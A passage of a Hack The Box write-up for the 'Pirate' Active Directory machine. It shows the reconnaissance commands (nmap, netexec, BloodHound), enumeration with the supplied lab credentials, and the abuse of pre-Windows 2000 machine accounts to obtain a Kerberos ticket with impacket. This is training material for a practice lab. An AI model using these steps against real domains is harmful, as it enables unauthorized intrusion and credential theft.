Pirate - Hack The Box Writeup
Difficulty: Hard
OS: Windows Server 2019 (Active Directory)
Author: HTB
Key Techniques: Pre-Windows 2000 Machine Accounts, gMSA Password Read, Ligolo-ng Pivoting, RemotePotato0, NTLM Relay to LDAPS, ForceChangePassword ACL Abuse, Constrained Delegation, SPN Jacking
Table of Contents
- Overview
- Reconnaissance
- Enumeration
- Pre-Windows 2000 Machine Account Exploitation
- gMSA Password Extraction
- Pivoting to WEB01 (Internal Network)
- RemotePotato0 - Capturing a.white's Authentication
- NTLM Relay to LDAPS - ForceChangePassword
- Constrained Delegation - User Flag
- SPN Jacking - Root Flag
- Attack Chain Summary
Overview
Pirate is a Hard-rated Windows Active Directory machine that involves a complex multi-step attack chain spanning two machines in different network segments. The box tests knowledge of Active Directory delegation attacks, NTLM relay techniques, and creative pivoting through internal networks.
Environment:
- DC01 (
MACHINE_IP) — Domain Controller, directly accessible - WEB01 (
WEB01_IP/ 192.168.100.2) — Internal web server, only reachable from DC01's network - Domain: pirate.htb
- Initial Credentials Provided:
pentest/p3nt3st2025!&
Network Layout:
ATTACKER_IP (Kali) ──── MACHINE_IP (DC01) ──── WEB01_IP (WEB01, internal 192.168.100.0/24)
Reconnaissance
Port Scanning
nmap -sV -sC -p- --min-rate 5000 MACHINE_IP
Key Open Ports:
| Port | Service | Details |
|---|---|---|
| 53 | DNS | Microsoft DNS |
| 80 | HTTP | IIS httpd 10.0 (redirects to adfs.pirate.htb) |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 135 | MSRPC | Microsoft Windows RPC |
| 389 | LDAP | Microsoft Windows AD LDAP |
| 443 | HTTPS | IIS with ADFS |
| 445 | SMB | Windows Server 2019 Build 17763 |
| 636 | LDAPS | SSL LDAP |
| 5985 | WinRM | Microsoft HTTPAPI |
DNS & Host Setup
echo "MACHINE_IP pirate.htb DC01.pirate.htb adfs.pirate.htb adcs.pirate.htb" >> /etc/hosts
The HTTP service on port 80 redirected to adfs.pirate.htb/adfs/ls, confirming Active Directory Federation Services is present. Port 443 served the ADFS login portal.
Important Note: ADFS endpoints (ROPC, WS-Trust, WS-Federation) are rabbit holes on this box. The ADFS service doesn't actually run on DC01 — it runs on the internal WEB01 machine.
Enumeration
SMB Enumeration
netexec smb MACHINE_IP -u pentest -p 'p3nt3st2025!&' --shares
Basic shares accessible but nothing immediately useful. SMB signing is enabled on DC01.
LDAP Enumeration
netexec ldap MACHINE_IP -u pentest -p 'p3nt3st2025!&' --users
Domain Users Discovered:
| User | Description |
|---|---|
| Administrator | Built-in admin |
| a.white | Regular user |
| a.white_adm | Administrative account |
| j.sparrow | Regular user |
| pentest | Our initial user |
BloodHound Collection
bloodhound-python -c All -u pentest -p 'p3nt3st2025!&' -d pirate.htb -ns MACHINE_IP
Key BloodHound Findings:
- a.white has ForceChangePassword on a.white_adm
- a.white_adm has Constrained Delegation to
HTTP/WEB01.pirate.htb - a.white_adm has WriteSPN on all computer objects
- a.white has active sessions on WEB01 (recent lastlogon timestamps)
- gMSA accounts exist:
gMSA_ADFS_prod$andgMSA_ADCS_prod$ - Computer objects: DC01, WEB01, MS01, EXCH01
Internal Network Discovery
Querying DNS for computer objects revealed WEB01 at an internal IP:
nslookup WEB01.pirate.htb MACHINE_IP
# Result: 192.168.100.2 (internal, not directly reachable from attacker)
MS01 and EXCH01 had no DNS records and zero lastlogon timestamps — they are pre-created but inactive.
Pre-Windows 2000 Machine Account Exploitation
Discovery
One of the first things to check in any AD environment is for Pre-Windows 2000 compatible machine accounts:
netexec ldap MACHINE_IP -u pentest -p 'p3nt3st2025!&' -M pre2k
Output:
PRE2K PIRATE\MS01$ ms01
PRE2K PIRATE\EXCH01$ exch01
When machine accounts are created with the "Assign this computer account as a pre-Windows 2000 computer" checkbox, their initial password is set to the lowercase hostname (without the $). These accounts were pre-created but never joined to the domain, so the password was never changed.
Getting a TGT
Clock Skew Note: Fix It by using ntpdate or rdate
# Get TGT for MS01$ machine account
impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip MACHINE_IP
Output:
[*] Saving ticket in MS01$.ccache
We now have a valid Kerberos TGT for the MS01$ machine account.